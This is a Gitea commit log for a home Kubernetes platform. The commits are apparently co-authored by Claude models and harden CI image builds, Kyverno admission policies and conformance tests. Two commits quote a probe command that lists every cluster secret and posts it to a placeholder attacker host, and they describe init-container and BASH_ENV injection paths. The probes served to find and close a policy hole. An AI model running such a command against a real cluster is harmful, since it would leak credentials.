4720261e1c8fa7c6996db18be56b40c08cd0a97f
14
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  jakman85andClaude Opus 5.5
|
f65c12b395 |
feat(images): build on rootless BuildKit over mTLS; verification moves into Containerfile verify stages
Operator decision on PR #81: no CI job may reach a privileged daemon. The act runner is untouched. - platform/buildkit (+ clusters/base/buildkit.yaml): moby/buildkit v0.34.1-rootless pinned by digest, uid 1000, not privileged; caps drop ALL + SETUID/SETGID, seccomp/AppArmor Unconfined, read-only rootfs (each measured under podman). cert-manager CA + server/client certs, ClusterIP :1234, default-deny with ingress only from the act-runner pod (DinD masquerades jobs to it). No Kyverno exception: every applied policy matches app-namespace=true only. - Each Containerfile names its shipped stage and ends in a `verify` stage holding every former `docker run` assertion (uid 65532, RUN --network=none, writable-path inventory standing in for the read-only rootfs). The old `&& echo` checks that could never fail are real assertions now. - images.sh drives buildkitd with a pinned buildx (sha256-checked) via bake; PRs build verify targets with agent-runner FROM the in-run toolbox (target: context); main verifies, then pushes. Fails loudly when the builder secrets are absent or buildkitd is unreachable. - infra/gitea/buildkit-client-secret.sh copies the client cert into Actions secrets. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
||
|
jakman85andClaude Opus 5.5
|
e539109830 |
feat(images): build, verify and publish the three images in CI; Renovate carries the digests
Operator rule 2026-10-29: image creation, hosting and lifecycle belong to CI/CD, never to a workstation build/push. Nothing had ever been pushed to the Gitea registry. - .gitea/workflows/images.yaml + scripts/images.sh: PRs build+verify (no credential); main builds, verifies and pushes toolbox, agent-runner (FROM toolbox) and conformance-runner as sha-<commit> + main, reading the digest back from the registry. Only changed images build. - Each image's own build-image.sh does the build and in-image verification, now engine-neutral (DinD: no podman-only calls, probe over stdin not a bind mount). New toolbox build-image.sh. - Digest references carry `# renovate-digest:` markers; renovate.json5 gains a custom.regex manager for them. The worker Job template is deliberately untracked (it would loop). - renovate.yaml pins renovate-version 44.167.0: the action's default (39.264.0) rejects the current config's managerFilePatterns, so every run would have died at CONFIG_VALIDATION. - Push credential: REGISTRY_PUSH_TOKEN secret; the Actions token has no package scope in Gitea 1.24.3 (container.go Authenticate). Retention: infra/gitea/registry-retention.sh. Co-Authored-By: Claude Opus 5.5 <[email protected]> |
||
|
jakman85andClaude Opus 5
|
f6e8fb1fee |
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
6ef4def2b5 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
ab9ba32a76 |
feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins the MAIN container's `command` but never reads `initContainers`, so a Job from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest init container running `kubectl get secrets -A`. The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid 65532 cannot replace the one executable the policy will come to trust. Clone logic taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED equal to it after checkout, so an unrendered placeholder is a hard failure instead of a silent run of the branch tip. No arguments are accepted. DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED IN rather than read from the environment. I was asked to take SHA, repo URL and target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over: the trigger points it at a repo it controls, this fetches that, and ./run.sh from the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env vars are still read so the Job template stays self-documenting, but a value disagreeing with the baked literal is a hard failure, never a redirect. The SHA is the only genuinely trusted per-run input. THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args on every initContainer. That edits the security boundary and belongs in its own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README, the Containerfile and the script header all say so. VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not writable by the runner; seven negative cases each asserted to exit non-zero (arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume); and the positive case -- a real clone of this repo at a real 40-hex SHA with rev-parse HEAD proven equal to it. Two bugs of mine that only running it could find, both fixed: the workspace-path guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the negative checks were pipelines, which under pipefail aborted the verify at the first expected failure and silently skipped the other six. A verify that stops early looks exactly like a verify that passed. The anonymous-clone fallback is deliberate and logged: read access to this repo needs no credential today, the integrity guarantee is the SHA assertion rather than the credential, and requiring the Secret would make the script untestable without one. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
529556d7c7 |
fix(conformance): state the chainsaw supply-chain gap accurately
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable URL". Literally true, and misleading: it reads as "no integrity option exists". Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available, it just needs cosign in the builder stage and the right keyless identity for kyverno's release workflow. Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO rather than implied away. Deliberately not implemented here -- picking a trusted signer identity is a supply-chain decision that belongs in its own reviewed change, not a silent addition to a runner image. Noted that infra/devcontainer/Containerfile has the same gap for the same binary. Rebuilt after the edit; the in-image verification still passes. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8619c60e6e |
feat(conformance): build the runner image the in-cluster Job could never have run
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with `command: ["./run.sh"]`. Those two lines cannot both be true. That image carries the chainsaw binary and essentially nothing else -- no bash, no python3, no kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a single test ran. Nothing in the tree said so. This adds the image that makes the Job runnable (plan docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1): * conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl + git-core + tar/gzip/coreutils (the base64-tar results channel of item 3). Two-stage: a full Fedora fetches the release binaries and verifies kubectl's published sha256; the runtime layer is fedora-minimal and carries no downloader. Versions are --build-arg-injected from infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in the runner are the same pins the toolbox gate runs with. No new pin is invented here, and the ARG defaults are EMPTY so a build that forgets one fails loudly instead of baking a stale version. * conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by executing it inside the image, and prints the digest. It never pushes: the registry credential is not an agent's to hold and publishing the artifact a fail-closed policy then trusts is an operator action. It prints the exact `podman push --digestfile ...` line instead. * conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest deliberately EMPTY and a loud block saying the operator fills it in after the push. Empty is a visible failure in whatever renders the Job; a guessed digest would be an ImagePullBackOff dressed up as a cluster fault. WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here. Two of its clauses are load-bearing on the image itself: * `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC (65532), not a friendly name. * The pod is readOnlyRootFilesystem and the policy admits only the `workspace` and `results` volumes -- there is no writable /tmp and one cannot be added without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and TMPDIR all point into /workspace, and git's safe.directory config is written to /etc/gitconfig at BUILD time because a runtime --global write would fail. VERIFIED BY RUNNING IT, not by a successful build As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`, `--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image against this worktree, emitting coverage.md/.json and report.junit.xml. KNOWN LIMIT, FLAGGED NOT PAPERED OVER run.sh runs the selected offline L0/L1 checks before it touches the cluster for ANY selection that is not offline-only, and those checks shell out to flux, promtool, kyverno and kustomize, which this image does not carry. Baking the whole devcontainer toolchain into the runner would roughly double its size to re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`); `--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and fail on a missing tool. `--layer l2` is verified above to resolve the offline selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint is documented in the Containerfile header and the incluster README rather than left for someone to discover from a pod log. chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to put there yet, and the trigger renders that template per run (plan item 4). The README now says so instead of letting the placeholder read as a pin. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8eb5baffa4 |
feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
e72050c690 |
docs: correct CI/platform documentation that was stale, wrong, or load-bearing
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no runner -- while the tree asserted both. This corrects the documents that carried, and in several cases CAUSED, that belief. CLAUDE.md gains section 2b: never infer platform state from this repository. It carries the specific API and kubectl checks for protection, runners, CI status, workloads and Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea job reports success). This is the rule whose absence produced every other finding. .gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host, this file is dormant". Gitea had been live for weeks. Both were written as plans and never revisited once the plan completed. The Transition section is now marked COMPLETE and says what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI). DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously hit "required status check; runner incluster-dind online" with nothing marking it false until a month later. The correction now sits on the bullet itself. ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an expected phase. That framing is why the gap went unexamined. apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to `sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded that a fresh token alone does not re-register a runner holding a stale /data/.runner. apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder. It has not since the claim -- it holds the spent token, which is inert and deliberately left in place. catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was uncited, upstream documents no expiry, and it was the basis for a since-disproven claim that the pipeline was too slow to fit inside it. Measured: ~2m45s. Both .sops.yaml files were verified to still decrypt after the comment edits (`sops -d > /dev/null`), and render==golden confirms the catalog comment does not propagate into the rendered manifest. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
6a8953e288 |
feat(prod): observability for the two failure modes that went unseen, plus OIDC self-healing
Minimal prod delivery, authored directly on main (= prod's live revision
|
||
|
jakman85andClaude Opus 5
|
14be9b68f6 |
test(conformance): dr-restore actually asserts off-cluster restore (R-STATE-03)
Closes the LAST scaffold-only safety-critical requirement. The operator has attested DR works (Velero -> Proxmox versitygw S3, restore demonstrated), but the L3 test carried the right tag and layer label over a 5-line TODO body — so coverage counted it and reported "0 safety-critical gaps" while the suite asserted nothing. That was test debt, not capability debt. This makes the suite assert what the operator already demonstrated. Three steps: 1. assert-backup-target-is-off-cluster (read-only): BSL must be phase Available (Velero itself reached the store), s3Url host is not localhost/*.svc/*.cluster.local, and the resolved IPv4 is none of — loopback, any Node Internal/ExternalIP, any Service ClusterIP, any Pod IP, inside any node podCIDR, inside any ServiceCIDR. A BSL that exists but never reaches Available FAILS (a live DR defect), it does not skip. 2. assert-backups-are-scheduled: R-STATE-03 says SCHEDULED off-cluster backups — Velero + BSL but zero Schedule in phase Enabled is a fail. 3. The drill: seed a nanosecond-unique canary onto a longhorn PVC in its own scratch namespace; Backup to Completed; assert a PodVolumeBackup for that volume is Completed WITH a non-empty status.snapshotID (the kopia snapshot of volume DATA reached the remote repo, not just resource JSON); ANNIHILATE the source (delete ns, poll until gone, force-delete a lingering PV, FAIL if the original PV survived — a survivor makes the restore prove nothing); Restore with namespaceMapping into a clean namespace; assert the restored PVC bound a DIFFERENT PV and that the canary bytes are identical. Off-cluster proof = endpoint outside every cluster address + BSL Available + kopia snapshotID present + every in-cluster copy destroyed + restore landing on a new PV. The bytes could only have come from outside. Skips GREEN on: no longhorn SC, Velero API absent, no BSL, Velero/node-agent not ready — all three steps re-derive the same gates so it can never half-run. An RBAC denial is deliberately NOT a skip: it fails loudly as a harness defect. Teardown is a step-level `finally` that ALWAYS runs — deletes the Restore, issues a DeleteBackupRequest so objects leave the bucket (2h ttl as backstop), deletes both scratch namespaces by name and by label, releases leftover PVs whose claimRef is one of its own. Everything it destroys is something it created. conformance/incluster/rbac.yaml: authored the R-STATE-03 grants (velero.io backups/ restores/deletebackuprequests create+delete+read; BSL/schedules/podvolume* read-only; persistentvolumes get/list/DELETE — the off-cluster proof requires destroying the PV). Also two pre-existing gaps other tests already depended on: storageclasses get/list (the skip gate of five tests) and apps deployments/daemonsets read. No write verbs on platform controllers. NOT ASSERTED, stated in the file header rather than implied: off-HOST (on dev the nodes are VMs on the same Proxmox host as the S3 target, so this does not survive hypervisor loss); no direct S3 client read (that would hand a privileged test identity the backup credential for weaker evidence); real service data (Nextcloud/Gitea/CNPG drills stay operator exercises); bare-metal rebuild DR; encryption-at-rest; retention/GC. status: scaffold-only 5 -> 4; safety-critical w/o executable L3 1 -> 0 (of 6); executable 35 -> 36. coverage unchanged at 40/51 (correct — coverage only asks whether a tagged test exists). PROVEN stayed 0 / not-derivable: it did NOT flip to proven just because the body is non-empty. AUTHORED, NEVER EXECUTED — carries a conformance.home.k3s/never-executed annotation. No cluster access from this workstation. To convert authored -> proven the operator must, IN A MAINTENANCE WINDOW (it deletes namespaces and PVs and writes/deletes bucket objects): apply the updated rbac.yaml, run `./conformance/run.sh --requirements R-STATE-03 --layer l3`, confirm the log shows DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK and NOT DR_RESTORE_SKIPPED_OK (green but proves nothing), confirm no leaked *-dr-src/*-dr-dst namespaces or orphan PVs or *-dr-backup objects, and record the green run. Serves: R-STATE-03, R-TEST-05. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
fdf5c69adc |
test(conformance): add L3 node-loss test for R-STATE-02 (Longhorn node-loss resilience)
R-STATE-02 was the last safety-critical requirement with no verifying test,
exempted via DOCUMENTED_GAPS. Author the L3 fault-injection test that proves the
guarantee and remove the exemption.
tests/l3-fault-injection/node-loss/chainsaw-test.yaml:
GIVEN a 3-replica Longhorn volume with written data attached on node N,
WHEN N is removed from service (cordon + evict the attached workload, forcing
the volume to detach from N),
THEN a fresh workload on a SURVIVING node re-attaches the same volume and reads
the canary intact — volume stays available, cluster reconverges.
Safe-by-construction for the 3-node embedded-etcd dev cluster:
- Disruption scoped to EXACTLY ONE node, at the scheduling layer only (cordon +
evict our own pod). kubelet/etcd stay up — etcd quorum is never touched.
- Never `kubectl drain`; only our own writer pod is deleted, so no unrelated or
system pod is disturbed.
- Victim node labelled conformance.home.k3s/cordoned-by=<test-ns>; `finally`
ALWAYS uncordons every node with THAT label and removes it — restored even on
failure/timeout, and never touches an operator-cordoned node.
- Self-skips green until a longhorn StorageClass AND >= 3 Ready nodes exist.
Bookkeeping:
- run.sh: remove R-STATE-02 from DOCUMENTED_GAPS; add node-loss to CONF_HEAVY_TESTS
(serial pass, matches the other Longhorn/KubeVirt L3 tests).
- incluster/rbac.yaml: enable the scoped nodes get/list/patch rule the test needs
(cordon/uncordon/label); no eviction rights (no drain).
- README.md / coverage.py docstring: refresh the documented-gap example.
Coverage: 36/51 -> 37/51 (70.6% -> 72.5%); safety-critical gaps 1 -> 0. Only
R-STATE-02 changed ([] -> node-loss); no other requirement or golden touched.
NOTE: LIVE execution is DEFERRED to an operator-chosen maintenance window. This
change AUTHORS + statically validates the test (renders, chainsaw-lints, harness
selects it, coverage updates). The static gate runs L2/L3 as SKIP without a
cluster (expected). The node-disruption test was NOT run live.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
|
||
|
jakman85andClaude Opus 4.8
|
0e69c63b55 |
conformance: complete vpn-killswitch L3 test + ADR-0015 RBAC/fixtures
Turn the vpn-killswitch scaffold into a runnable SAFETY-CRITICAL L3 test for R-NET-06 under ADR-0015 (node-level host OpenVPN tunnel steered by Cilium Egress Gateway with a host nftables kill-switch), replacing the obsolete in-cluster gluetun design. - fixtures/vpn-and-internet-pods.yaml: two egress-class probe pods + documented RBAC/PodSecurity/namespace requirements for node-level fault injection. - vpn-killswitch/chainsaw-test.yaml: GIVEN healthy tunnel (vpn egress != WAN); WHEN the host `vpn-egress-tunnel` systemd unit is STOPPED via a privileged, hostPID, node-pinned nsenter Job THEN vpn-class egress is blackholed (curl fails, never returns the WAN IP = no leak) while internet-class is unaffected; WHEN restarted THEN vpn egress recovers. spec-level `finally` ALWAYS runs an idempotent start Job (self-healing) so a mid-test failure never leaves the gateway tunnel down. - incluster/rbac.yaml: grant the runner least-privilege for the delivered tests (namespaces create/delete/patch for the PSA relabel, pods/services/configmaps/ pods-exec/pods-log, batch/jobs) and replace the gluetun-scale rule with the ADR-0015 host-systemd mechanism note (privilege via PodSecurity, not RBAC). Offline validation: python yaml parse (all docs), `run.sh --lint` (structural), `run.sh --coverage-only --strict-coverage` (no tag/annotation drift; R-NET-05/06/ 07 covered, R-NET-06 has its L3 test), yamllint. No live apply, no cluster run. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
9d8e03892f |
T-0.4 Chainsaw conformance harness + coverage + behavior scaffolds (R-TEST-01..06)
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |